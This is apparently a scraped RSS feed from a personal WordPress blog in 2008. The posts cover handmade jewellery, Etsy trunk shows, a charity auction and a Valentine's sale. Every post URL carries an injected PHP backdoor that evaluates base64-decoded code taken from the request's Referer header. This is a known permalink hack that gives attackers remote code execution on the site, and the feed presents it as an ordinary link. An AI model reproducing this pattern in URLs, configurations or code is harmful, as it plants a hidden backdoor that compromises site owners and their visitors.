http://ashley-hope.net Just another WordPress weblog Fri, 27 Jun 2008 18:26:09 +0000 http://backend.userland.com/rss092 en I don't know if this is a chain restaurant or just one or two locations, but I know there is one just down the street from my office. I have been going to EVERY other restaurant around my office so far except Salata just because the idea of eating ... http://ashley-hope.net/2008/06/27/salata/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Finally, a new pair of earrings! My sister works for an interior design firm out in Lubbock, TX and they hosted a charity event last weekend. As promised, I made a pair of earrings to donate to their silent auction, but despite shipping them priority, they did not ... http://ashley-hope.net/2008/06/19/charity-earrings/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The plan from the beginning of this website was to feature an artist, preferably an Etsy artist every week. It's taken me awhile now to get around to kicking this off, but I've got a bunch of wonderful Etsians in mind that I just can't wait to tell you ... http://ashley-hope.net/2008/03/19/mutton-lovin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I started a new full time job two weeks ago and it has just been taking up all my time! That and I've had some things (good things) going on in my personal life that have been taking up a lot of time. I really have not picked ... http://ashley-hope.net/2008/03/04/ive-been-busy-working/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A little late, I know! Trunk show was pretty neat all in all. I split a table with another Etsy artist, Color Theory. We got there a bit late and didn't get the most ideal table location, so sales were slow for us. It was really ... http://ashley-hope.net/2008/02/16/trunk-show-recap/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In case you notice that most of my items are "out of stock" or "sold" it is because I have temporarily pulled my merchandise from my web inventory so I can bring it to my trunk show today. I'll readjust and make unsold items available once I return. ... http://ashley-hope.net/2008/02/09/note-about-stock/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hmm that title was supposed to be clever but I don't think it worked. Sounds too much like a preacher. Well things have sure been busy around here these last 2 weeks. It really seems like things are starting to fall into place one thing after another. ... http://ashley-hope.net/2008/02/06/goodness-gracious-it-is-good-to-be-gracious/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In honor of Valentine's Day I am offering a sale. Almost all of my items are currently on sale with the exception of my paisley pendant, which I just added today. All the sale items are 25% off the Etsy prices, which may differ somewhat from the original ... http://ashley-hope.net/2008/01/31/valentines-day-sale/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Here is a pretty little preview of things to come. I've got a nice little stash of pretty gemmies to work with. This isn't all of them, just my favorites really. Stranded brios and rondels: blue ruby zoisite, labradorite, mixed berl: aquamarine and morganite, tundru sapphires, two strands of tourmaline, citrine ... http://ashley-hope.net/2008/01/21/18/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Welcome to my new website! I have been working furiously on putting it together and getting it ready in time to put the address on business cards and have them printed for my February show. In case you haven't heard, the Etsy Dallas Street Team that I am a member ... http://ashley-hope.net/2008/01/20/15/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/